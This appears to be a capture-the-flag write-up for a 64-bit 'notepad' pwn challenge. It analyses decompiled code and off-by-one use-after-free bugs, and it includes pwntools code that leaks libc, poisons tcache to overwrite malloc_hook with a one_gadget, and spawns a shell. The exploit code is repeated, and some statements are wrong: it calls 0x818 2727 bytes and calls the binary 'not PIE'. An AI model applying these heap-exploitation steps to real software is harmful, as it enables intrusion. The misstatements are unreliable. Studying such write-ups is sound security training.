Notepad– is the app to store your most private notes, with an extremely lightweight UI. Check it out!
1 file: notepad
nc notepad.q.2020.volgactf.ru 45678
Writeup
1 2 3 4 5 6 7 8 9 10
$ file notepad notepad: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped
$ checksec --file=notepad RELRO: FULL (No way to overwrite GOT to hijack functions) STACK CANARY: YES (No easy way to do stack overflow) NX: YES (No executable stack/heap) PIE: YES (Address in the binary are randomized with ASLR) FORTIFY: YES
64 bit ELF binary, all protections active, no useful symbols. We’re not given the glibc used on the server, but we can try to guess it reading the strings of the binary:
void fcn.add(void) { int64_t iVar1; undefined8 book.notebooks.tabs; if (_book.count == 0x10) { puts("You\'ve reached the limit for notebooks! Delete some of the older once first!"); } else { iVar1 = _book.count * 0x818; _book.count = _book.count + 1; printf("Enter notebook name: "); __isoc99_scanf("%s", book.notebook + iVar1); } return; }
Disassembly:
Basically we can add up to 16 notebook, and we can guess that each notebook is 0x818 = 2727 bytes long, so if we multiply the size of each notebook * max numbers of notebook we know that the size of the book (collection of notebooks) is 0x8180.
Wait, how do you defined in cutter book and notebooks?
To be able to defined the structure I used the Types windows of cutter and from the Disassembly view I linked (Press L) the structure book to 0x203040.
// we will cover later this one structtab { char tab_name[16]; int64_t data_size; char *data; }; structnotebook { char name_notebook[16]; int64_t count_tab; structtabtabs[64]; }; structbook { int64_t count_notebooks; char pad[24]; // padding, in the disassembly notebook structnotebooknotebooks[16]; }; // this is to make the decompiler happy structtab_off { int64_t pad; char tab_name; int64_t dat_size; char *data; };
void fcn.list(void) { int64_t index; puts("List of notebooks:"); index = 0; while ((int32_t)index < _book.count_notebooks) { printf("[%d] %s\n", (uint64_t)((int32_t)index + 1), book.notebook + (int64_t)(int32_t)index * 0x818); index = (int32_t)index + 1; } return; }
Ok so far so good, the decompiler is a little confused, but we can see that there are various overflow inside the book structure "%s". Now we need to check the pick functions.
Ok here there are troubles, the decompiler doesn’t decompile correctly the function. But we can understand the code from the disassembly:
Basically the decompiler doesn’t recognize correctly the structure. One thing to keep in mind is that each tab of the notebook is 32 bytes large (shl rdx, 5) and that the compiler to align correctly the structures always does a *32 + 0x10 + 8.
So if we take the start address and add 32 * count we end up in the middle of tab_name (tab_name[8]), then the program add 0x10 to go into the data of a tab, and then it start adding stuff to the next tab using an offset of 8 (this compilation sucks).
void fnc.pick_view(notebook *arg1) { int64_t notebook_ptr = arg1; printf("Enter index of a tab to view: "); fgets(&index_buffer, 0x80, _reloc.stdin); uVar2 = atoi(&index_buffer); real_index = uVar2 - 1; if ((real_index < 0) || (notebook_ptr->count_tab < real_index)) { printf("Wrong tab index %d\n", (uint64_t)uVar2); } else { write(1, notebook_ptr->tabs[real_index].data, notebook_ptr->tabs[real_index].data_size); } if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return; }
Here there is a possible UAF (read primitive). Suppose that we have two tabs, and then we delete the second one so it triggers the free on data. Now if we try to view the second tab I send to pick_view index = 2, so it computes as real_index = 1. The counter of tabs is 1, so it checks:
if(notebook_ptr->count_tab < real_index) = if (1 < 1), which is false and so we can read a freed block.
void fcn.pick_update(char *arg1) { printf("Enter index of tab to update: "); // buffer fgets(&buffer, 0x80, _reloc.stdin); uVar1 = atoi(&buffer); real_index = uVar1 - 1; if ((real_index < 0) || (notebook_ptr->count_tab < real_index)) { printf("Wrong tab index %d\n", uVar1); } else { notebook_ptr = notebook_ptr + (int64_t)real_index * 0x20; printf("Enter new tab name (leave empty to skip): "); fgets(&tab_name, 0x80, _reloc.stdin); len_tab_name = strlen(&tab_name); if (1 < real_index) { tab_name[len_tab_name - 1] = 0; strncpy(notebook_ptr->tab_name, &tab_name, 0x10); } printf("Enter new data length (leave empty to keep the same): "); fgets(&data_len, 0x80, _reloc.stdin); data_size_len = strlen(&data_len); if (1 < data_size_len) { data_size = atol(&data_len); if (data_size != (notebook_ptr->tabs[real_index].data_size) { notebook_ptr->tabs[real_index].data_size = data_size; free(notebook_ptr->tabs[real_index].data); new_data = malloc(notebook_ptr->tabs[real_index].data_size); notebook_ptr->tabs[real_index].data = new_data; } } printf("Enter the data: "); read(0, notebook_ptr->tabs[real_index].data, notebook_ptr->tabs[real_index].data_size); } if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return; }
And here it is another off by one bug, in this case we can achieve a UAF (write primitive), because as before it checks the counter with < instead of <=.
Attack
Before attacking the binary is a good idea to export the symbols to the binary, to do that I used syms2elf. You need to save the cutter project, and then:
This is very useful, because the binary is not PIE, so we can’t set arbitrary breakpoint when debugging (now we can).
To debug the binary I used ubutu 18.04 in VM.
The attack is very simple:
Leak a libc address using a UAF (read).
Write inside a free list (tcache) the address of malloc_hook.
Send as data the address of one_gadget.
Trigger another malloc.
To leak a libc address we can simply allocate 9 chunks of 0x80 bytes (the 9th is used to not consolidate the 8th chunk with the top chunk once it’s freed), and then free 8 of them.
The first 7 will go into the tcache, and the seventh will go into the unsorted bin.
Why 0x80 ?
Because if not, the 8th freed chunk will go into the fastbin which has only a forward pointer since it’s used as a LIFO list. The unsorted bin instead is managed with a double circular linked list and the first element has a backward pointer to the main_arena, and the main_arena (opposed to the other possible thread arenas source code) is inside the libc.
Now if we read the 8th freed chunk we get that backward pointer and from it we can compute where malloc_hook and one_gadget are in memory.
for i in range(8): pick_add("bbbb", chr(ord("A") + i) * 0x80)
So now we have 9 tabs, we add one more tab with size 8, we free it and then we overwrite the data of the last freed tab with malloc_hook.
Bins before the update.
Bins after the udpate.
Now we add two more tabs, and the second one will have as address of data the address of malloc_hook, we write in it the address of one_gadget. At the next malloc, malloc_hook will be triggered and we will get a shell.
1 2 3 4 5 6 7 8 9 10 11 12 13
pick_add("cccc", "S" * 0x8)
pick_delete(10) # UAF write next tcache entry on malloc_hook pick_update(10, 'dddd', p64(malloc_hook)) log.info("malloc_hook injected") # This is just the first tcache entry pick_add("fake", "E" * 8) # This returns as data address the malloc_hook, overwrite it with one_gadget pick_add("one_gadget", p64(one_gadget)) log.info("one_gadget plugged in") pick_add("get shell", "F" * 8) p.interactive()
for i in range(8): pick_add("bbbb", chr(ord("A") + i) * 0x80)
pick_add("cccc", "S" * 0x8)
pick_delete(10) # UAF write next tcache entry on malloc_hook pick_update(10, 'dddd', p64(malloc_hook)) log.info("malloc_hook injected") # This is just the first tcache entry pick_add("fake", "E" * 8) # This returns as data address the malloc_hook, overwrite it with one_gadget pick_add("one_gadget", p64(one_gadget)) log.info("one_gadget plugged in") pick_add("get shell", "F" * 8) p.interactive()